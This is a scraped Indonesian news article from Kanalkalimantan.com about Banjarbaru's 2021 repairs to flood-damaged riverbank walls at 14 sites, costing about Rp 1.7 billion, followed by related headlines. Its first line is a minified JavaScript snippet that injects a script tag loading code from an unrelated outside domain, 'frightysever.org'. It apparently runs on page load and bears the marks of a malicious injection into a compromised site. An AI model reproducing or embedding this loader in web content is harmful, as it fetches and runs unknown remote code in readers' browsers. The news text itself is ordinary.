(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Wali Kota Banjarbaru Aditya Mufti Ariffin, meminta perbaikan infrastruktur pasca bencana banjir awal tahun lalu segera dikebut. Salah satu fokusnya ialah perbaikan siring di bantaran sungai yang mengalami kerusakan usai diterjang banjir.
“Perbaikan siring dan bantaran sungai, kita minta segera dikerjakan. Untuk kegiatannya melibatkan Dinas PUPR dan Disperkim Kota Banjarbaru. Dana untuk perbaikan diambil dari dana tak terduga dan sudah mendapat persetujuan dari DPRD Banjarbaru,” kata Aditya kepada Kanalkalimantan.com, Selasa (8/6/2021).
Adapun pengerjaan perbaikan siring diawali di kawasan sungai Kemuning, pada akhir Mei tadi. Dinas PUPR telah memulai rekonstruksi dan rehabilitasi bangunan siring di kawasan sungai Kemuning lantaran diklaim menjadi salah satu lokasi terdampak parah yang mengakibatkan ambruknya beberapa bangunan siring di beberapa lokasi.
Kepala Bidang Sumber Daya Air (SDA) PUPR Banjarbaru, Subrianto, mengatakan untuk di kawasan sungai Kemuning sendiri terdapat 4 titik bangunan siring yang mengalami kerusakan. Lokasinya berada di Menara Pandang, kawasan RT 15 RT 16, Jembatan Km 33, serta di jembatan Al-Manar.
“Hingga saat ini perbaikan yang sudah dinyatakan rampung di Km 33 dan jembatan Al-Manar. Sedangkan untuk siring yang rusak di kawasan RT 15 RT 16 akan dikerjakan pada Kamis ini. Lalu untuk kerusakan siring di Menara Pandang kita kerjakan Jumat mendatang,” katanya.
Selain 4 titik siring di kawasan sungai Kemuning, Subrianto menjelaskan ada 10 titik bangunan siring lainnya yang juga mengalami kerusakan. Namun, kondisi kerusakannya dinilai tidak separah di kawasan sungai Kemuning.
“Kami diinstruksikan segera menangani siring yang terdampak banjir. Totalnya ada 14 titik ditangani, tapi yang paling parah hanya di 4 titik yang ada di sungai Kemuning. Makanya di sana dulu yang kita prioritaskan untuk segera dikerjakan,” bebernya.
Disinggung soal anggaran yang dikucurkan untuk perbaikan siring yang rusak pasca bencana, diakui Subrianto memang telah disusun sejak beberapa bulan lalu.
Dipaparkannya kegiatan perbaikan siring ini menelan anggaran mencapai Rp 1,7 miliar.
“Pada awalnya anggaran tahun 2021 ini tidak ada diperuntukkan untuk perbaikan siring. Tapi karena ada peristiwa banjir besar awal tahun tadi, maka seluruh anggaran kita fokuskan untuk perbaikan infrastruktur,” tuntas Kabid SDA.
Selain perbaikan siring, Dinas PUPR juga turut melakukan kegiatan rutin guna optimalisasi aliran sungai yang ada di wilayah Banjarbaru. Baik itu pembersihan rumput, gulma -hasil sedimentasi, maupun sampah plastik. (Kanalkalimantan.com/al)
Reporter: al
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel mengadakan Pelatihan Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Camat Mantangai, Yubderi melakukan monitoring kegiatan pelayanan di Posyandu Desa Manusup,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Unit Reskrim Polsek Cempaka menggeledah rumah terduga penjual minumas keras (miras) jenis… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More
This website uses cookies.